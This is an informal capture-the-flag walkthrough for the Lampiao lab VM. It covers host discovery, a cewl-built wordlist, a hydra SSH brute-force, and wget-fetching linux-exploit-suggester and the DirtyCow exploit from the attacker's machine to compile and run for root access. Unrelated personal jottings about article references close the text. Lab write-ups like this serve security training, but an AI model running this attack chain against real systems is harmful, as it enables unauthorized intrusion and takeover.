_________________Lampiao_OS_________________

1) As usual, on kali linux, after starting that Lampiao_os, type on terminal “netdiscover -i eth0”. 

2) After that, type “nmap -p- -A IP_addr_of_Lampiao”

3) Copy and paste that Lampia_addr from the terminal and paste it into a browser with the port “1898”. There, you will see a kind of username as “Tiago”.

4) Now, we create a custom wordlist using “cewl” command: “cewl http://192_IP_of_lampiao:1898/?q=node/1 --write motList.txt “, and press enter.
Note: We’ve found the “?q=node/1”, when clicking on “Read more” of 192.blabla:1898 page.

5) After having created the wordlist, we gonna try to brute-force “ssh” with “hydra”, cause we saw it was opened in “nmap” with tcp port 22, version of openssh. It’s a very nice step to create a wordlist with the specific website which you’re gonna try to hack.

6) “hydra -l tiago -P /path/…/motList.txt ip_addr_of_lampia ssh”, then press enter. (Note: we take tiago as a username, as it appears in the link “http://ip_addr_of_lampiao?q=node/1” from “submitted by tiago on Thu, etc…”.

7) Now, on your terminal, you can login as tiago after finding the password using “ssh”. Type: “ssh tiago@IP_addr_of_Lampiao”, press enter. After that, we need to escalate privileges. 
Since Lampiao is a linux based OS, we can use a shell scrip called “linux-exploit-suggester”. Google it and download it. Or, simpler, you can find it here: GitHub. com/mzet-/linux-exploit-suggester,,, click on clone and copy the link. Go to your terminal, and in the path /var/www/html, clone it there by typing: “git clone github_link_of_if” and press enter. Now inside the folder of “linux-ex…” move the “…sh” file to the directory of “index” file, ie in the /var/www/html, so that we you try to “wget” it, you don’t fall into a “HTTP request …” ERROR. 

8) Well, what we have to do after is: start your apache server of course, so that you can easily get the .sh file of the shell. Type: “service apache2 start”, then go back to your tiago terminal and go to the directory “tmp” by typing “cd /tmp”, and type: “wget http://ip_addr_of_your_kali/linux-exploit-suggester.sh”. Well done! Now we get it. (The file .sh in our lampiao tmp directory.)

9) Make it executable by typing “chmod +x linux-exploit-suggester.sh” on terminal. And now, run it by typing “./linux-explo bla-bla-bla”, to see its contents and see the appropriate .cpp file to download.

10) Look for the word “dirtycow 2”, copy the “40847.cpp” and paste it google to download it. Name the file such as “40847.c” in the /var/www/html path. Then change its name again to .cpp by typing on terminal “mv 40847.c 40847.cpp”. Now, go back to your tiago terminal, and try to get the .cpp file as you did above in step8, “wget http://ip_addr_of_your_kali/40847.cpp”. 

11) Check the your .cpp file at the very top, in the comment section to see how to compile and run it. Compile it in the terminal of tiago of course. 
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

12) Type “cd”, and try to exploit “dcow” in your tiago directory, by typing in there “./dcow”, enter. Then now, we see the root password. We can try to login into that OS, or right in the tiago terminal by typing “su root”, and enter the password. Boom!!! That’s it :)

eprint.iacr.org
Arxiv.org/archive/cs
03B70 Logic in computer science [See also 68–XX]

90B18

I have to present my article (about 15 of January 2020)